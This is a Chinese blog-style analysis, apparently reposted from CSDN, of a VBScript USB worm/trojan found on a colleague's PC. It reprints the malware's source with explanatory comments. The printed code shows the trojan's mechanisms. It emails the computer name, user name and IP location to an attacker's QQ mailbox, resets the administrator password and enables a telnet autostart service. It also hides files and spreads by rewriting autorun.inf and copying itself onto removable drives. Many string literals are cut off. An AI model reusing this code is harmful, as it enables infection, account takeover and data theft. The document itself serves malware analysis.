北邮男生木马”代码全注释 -

更新时间:2024-07-07 08:53:01 阅读量: 综合文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

“北邮男生木马”代码全注释 - sjdev的专栏(申俊杰) - CSDN博客您还未登录!|登录|注册|帮助CSDN

上周的某一天,我同事忽然发现自己电脑不太对劲,经查看原来是中了木马。比较有意思的是,可以通过一个bupt.dat的文件来查看该木马的某些实现细节。由于bupt是北邮的简称,所以我有充分的理由相信该木马是北邮某个学生搞的。“北邮男生”是我们给这个木马起的名字,至于为什么叫“男生”而不是“女生”或者其它代号,可以通过下面的代码自己寻找答案。Ps:请不要试图查找有关“北邮男生”木马的信息,也许它会被冠以其他名字。Psps:截止到2009/10/19,通过关键字“bupt.dat”百度无法搜索到任何相关信息,

我在CSDN上发表了这个文章的一个简短版本,部分网友表示“这个木马太简单”。我想说的是:1.论坛上发表的只是整个脚本的一部分,因为输入有限制。2.这个木马还包含其他文件。因为很明显,脚本是不可能自动执行的。这些其他的文件包括:一个autorun.inf、一个scs、一个svchost(其实这个是WScript.exe,请详看代码注释说明)、还包括tlntsvr服务。 另外:我重新使用bupt.dat关键字搜索了一下,大家可以分析一下google的结果。

主代码部分

view plaincopy to clipboardprint? '

'1.主体函数部分 '

'当运行脚本时,主体函数部分代码依次执行

'所以分析脚本“主体函数部分”可以看出脚本程序执行思路 On Error Resume Next

'创建文件系统对象,用于文件操作

Set fso = CreateObject(\ '创建Shell对象

Set WshShell = CreateObject(\ '创建NetWork对象

Set WshNetWork = WScript.CreateObject(\

'脚本的全路径名,如J:\\Butp.dat

ThisPath = WScript.ScriptFullName

'1 for system folder.通常返回值是C:\\Windows\\System32

SysDir = fso.GetSpecialFolder(1) & \

'从SysDir从截取Windows目录,如C:\\Windows\\System32截取后为C:\\Windows\\ WinDir = Left(SysDir, 11)

SvcHost = \ FnSys = \ FnSysExe = \ FnMail = \ FnuTray = \ FnuTrayExe = \

'Copy脚本的副本

Set file = fso.OpenTextFile(ThisPath, 1) '1 for readonly VBScriptCopy = file.ReadAll file.Close Set file = Nothing

IF LCase(SysDir) = LCase(Left(ThisPath, Len(SysDir))) Then '如果脚本文件位于系统目录(system32)下 Call SendMail Call SetupBD Call ListEnuTray Else

'不显示隐藏文件

WshShell.RegWrite

\hidden\

0, \

WshShell.RegWrite

\ 1, \

WshShell.Run(Left(ThisPath, 2)) '2,最小化窗口

IF Not fso.FileExists(SysDir & FnSys) or Not fso.FileExists(SysDir & FnSysExe) or Not fso.FileExists(WinDir & SvcHost) Then Call InfectSys End IF End IF

'脚本“主体函数部分”结束

'

'2.功能函数部分

'

'“功能函数部分”的代码不会自动执行,除非“主体函数部分”调用到它 '要分析“功能函数部分”需要根据其“主体函数部分”上下文。

'2.1发送Email.

Sub SendMail

On Error Resume Next

'获取本机ip,并根据(小偷程序原理,网上用的较多)ip获取ip所在地理位置 '然后把信息打包

ComputerName = \计算机名:\

UserName = \当前用户名:\ Url = \注意,这个是ip地址查询的网站 Html = GetHttpPage(Url)

PlaceBegin = Instr(1, Html, \你当前的IP为\ PlaceEnd = Instr(PlaceBegin, Html, VBCRLF)

Place = mid(Html, PlaceBegin, PlaceEnd - PlaceBegin) Msg = ComputerName & \ Title = GetIp(\

'将发送信息打包存放在system32\\liam.dat中,目的是防止重复发送email '注,如果你的电脑已经中招,使用记事本打开liam.dat可以看到你自己系统的信息 IF fso.FileExists(SysDir & FnMail) Then

Set file = fso.OpenTextFile(SysDir & FnMail, 1) OldMsg = file.ReadAll file.Close

Set file = Nothing IF OldMsg = Msg Then Exit Sub End IF

End IF

Call WriteFile(SysDir & FnMail, Msg)

'使用cdo发送邮件,邮件内容就是上面搜集信息的打包

'此处使用的是qq邮箱,采用的是自己发送到自己的方式(shader.butp@qq.com) '我曾经使用qq查找过shader.bupt@qq.com这个账号,因为不是主显账号,查不到 NameSpace = \ Set EMail = CreateObject(\ EMail.From = \ EMail.To = \ EMail.Subject = Title

EMail.TextBody = Msg & \ With EMail.Configuration.Fields

.Item(NameSpace & \

.Item(NameSpace & \ .Item(NameSpace & \ .Item(NameSpace & \ .Item(NameSpace & \

.Item(NameSpace & \

.UpDate End With

EMail.Send End Sub

'2.2在目标电脑上植入信息 Sub SetupBD

On Error Resume Next

IF LCase(WshNetWork.UserName) <> \ '设置管理员密码

Set objUser = GetObject(\ objUser.SetPassword \ objUser.SetInfo

'添加自启动服务

WshShell.RegWrite \ 2, \ End IF End Sub

Sub ListEnuTray

On Error Resume Next

'设置autorun文件中要写入的内容

TimeCounter = 1

CmdStr = \

AutoRunStr = \ \ Replace(CmdStr, \ Do

for each drv in fso.drives

IF fso.GetDrive(drv).DriveType = 1 And

fso.GetDrive(drv).IsReady Then '1 for Removeable

IF fso.GetDrive(drv).FileSystem = \ FStype = \

Else

FStype = \ End IF

IF fso.FileExists(drv & \

'如果优盘目录下存在autorun.inf,判断其内容是否已经被更改,如果被更改就重建.

Set file = fso.OpenTextFile(drv & \

OldAutoRunStr = file.ReadAll file.Close Set file = Nothing

IF OldAutoRunStr <> AutoRunStr Then

IF FStye = \

Call WriteFile(drv & \ AutoRunStr)

Else

WshShell.Run(SysDir & FnSysExe & \ & \

End IF

End IF Else

'如果优盘目录下不存在autorun.inf,创建该文件. IF FStype = \

Call WriteFile(drv & \

Else

WshShell.Run(SysDir & FnSysExe & \ & FStype)

End IF End IF

IF TimeCounter > 10 Then

IF Not fso.FileExists(drv & \

Call WriteFile(drv & \ vs(VBScriptCopy))

End IF

IF Not fso.FileExists(drv & \ fso.GetFile(SysDir & FnSysExe).Copy(drv & \ FnuTrayExe)

fso.GetFile(drv & \

本文来源:https://www.bwwdw.com/article/ofj.html

Top